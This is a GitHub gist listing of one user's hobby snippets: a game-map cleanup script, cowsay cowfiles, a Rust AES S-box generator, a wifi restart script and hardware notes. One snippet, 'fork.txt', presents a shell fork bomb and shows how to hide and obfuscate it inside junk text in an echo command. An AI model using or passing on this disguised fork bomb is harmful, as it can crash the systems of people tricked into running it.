Skip to content

Instantly share code, notes, and snippets.

View 10maurycy10's full-sized avatar
🏠
Working from home

10maurycy10

🏠
Working from home
View GitHub Profile
@10maurycy10
10maurycy10 / main.js
Last active November 4, 2021 17:23
clean up darrows map
save = 'PUT YOUR MAP HERE'//replace contence of string with map
save = JSON.parse(save)
for (i in save.obstacles) {
save.obstacles[i].width = Math.round(save.obstacles[i].width/100)*100
save.obstacles[i].height = Math.round(save.obstacles[i].height/100)*100
save.obstacles[i].x = Math.round(save.obstacles[i].x/100)*100
save.obstacles[i].y = Math.round(save.obstacles[i].y/100)*100
}
@10maurycy10
10maurycy10 / README.md
Created October 22, 2021 21:07
This cow is sus

A among us cowfile for cowsay (sorry)

  • example: cowsay -f ./sus.cow this cow is sus

  • output:

 _____________
< blue is sus >
 -------------
@10maurycy10
10maurycy10 / README.md
Last active October 31, 2021 18:41
Cows!

This is a list of all cowfiles in debian 11.

  • It was generated with for cow in $(ls /usr/share/cowsay/cows); do cowsay -f $cow $cow >> cowdex; done

  • all content in cowdex is under the Artistic License or the GNU General Public License.

@10maurycy10
10maurycy10 / sbox.rs
Last active September 21, 2021 18:55
a simple rust snippet to compute an AES/Rijndael Sbox.
// Substitution BOX, a lookup table to optimyze the substitution step
pub type Sbox = [u8; 256];
// shift 8 bits left
fn rot_l8(x: u8,shift: isize) -> u8 {
// check that input is in bounds
assert!(shift < 8);
assert!(shift > -8);
// actualy do it
((x) << (shift)) | ((x) >> (8 - (shift)))
@10maurycy10
10maurycy10 / wifi-fix.sh
Created August 14, 2021 01:35
wifi-fix
#!/bin/sh
# restart wifi daemons
# will fix functionality after "airmon-ng check kill"
sudo systemctl start wpa_supplicant.service
sudo dhclient
sudo NetworkManager
@10maurycy10
10maurycy10 / death.rs
Created May 20, 2021 18:49
a small no-dependancy program to count deaths since it was started.
const DEATH_RATE_PER_YEAR:f64 = 8.1/1_000.0; //2020-2025
const WORLD_POPULATION:f64 = 7_800_000_000.0; //2020
const SECONDS_IN_YEAR: f64 = 365.25*86400.0; //10000BC-10000CE
fn main() {
use std::time::Instant;
use std::time::Duration;
use std::thread::sleep;
@10maurycy10
10maurycy10 / fork.txt
Created April 29, 2021 21:11
a hidden shell fork bomb.
# basic fork bomb
r()(r|r);r
# surond in junk
echo 'a7s%87)B86=E(&AE7d0'`r()(r|r);r`'g*&F(FA7'
# obfuscate the calls
echo 'a7s%86=E(&Ad0'`p&Dk2&r()(r{,3Rl7g}|r{,3Rdw12});r`'g;*&F(FA7'
# cover in decoy junk
@10maurycy10
10maurycy10 / balancers.md
Last active April 28, 2021 22:57
pretty balancer designs

symbols

belt lane

-------

spliter between 2 lanes

# 

|

@10maurycy10
10maurycy10 / 8to9.bp
Created April 28, 2021 18:04
an 8 to 8 balancer
0eNqlnOtOG0kQhd9lfk+irr63X2UVrSAZRSPB2LLHq0XI7x47SICEWz7n+Bdg4Kumbl1VU+Z1eHw6Trv9vKzD5nWYf26Xw7D553U4zL+Xh6fLa+vLbho2w7xOz8M4LA/Pl6/W/cNy2G3367fH6WkdTuMwL7+m/4eNnX6Mw7Ss8zpPb6S/X7z8uxyfH6f9+QfeGYfd07yu59fGYbc9nH9hu1zknSHfzL6ncXi5fObO7F/zfvr59n1/Gr8gfe9YV8DuA/w93UYHHN365HiFHHFy5s6ccHLhyBknR45ccHLiyBUne47ccHLgyOZwNOnQZkSwkGg8DlkyHoasOvAwZG2IhyHpd4aHIRkrhochGd+Gh2Hh8qjhYUjmUY9HYSPJeBAaGSqeCEIyVjweheY5I3o8DI30aY/HoZFO7TNQy1imSpnClUcVQH6E3vFco+1/77fnj7cLpPpFBeN7Lbjsjpei76uspslqgqzghNqsQkWfCeQGkT1i3vrOBIhBqPYuZ73Gioz1MuAo2+Pas16SZDVJVhZ0VJG8FYpQEWOeUgUy5t0N8cFE+GB0Qo0NaSGaUGNjZC+cGfKJGIQzQ5aLUWgLMG0koSvAyFk4M6aNQmQQu+dWi5VvbDDlNL6vgcDJ8WBI6cn4rgaKmuR5cIPAge9pMB1Hvg3DwIk/cb1+o6dMxEi660JPhe/wMM8QWkfMM5hiNd+TQLJTJClFcTa+Z+1Ug9nzqI4b5sCk6rtydY6SKEnXTAkL9VX96MpZkiWVyxnpQS0QBWKuwuQAypW5CWTopitMzNp9ubOYJEuybvHCPKSTIkoQWFDSL5EarQBjkJK4yUoGkFl58JQh7ysKukDoKkw3MmS0JpDLddeqTng+Bqm2mjANwMheODNks6pMeTAyEmgfE4YCEJPwLA/TbxbImBaKMA3Azqw8f8TOTM1aQ//Utyud5iRRRRFlwrwAyk7NC+ROdmoBukyIqGlRmWZIxkyKJMmWTNHqgL+pX9W0oogqkqgK2D4wpm/86KNgawS
@10maurycy10
10maurycy10 / c64.md
Last active April 17, 2021 01:01
notes form hacking the c64 mini w/ uart

UART:

Pinout

ports up

|
| 0 gnd

| 1 data out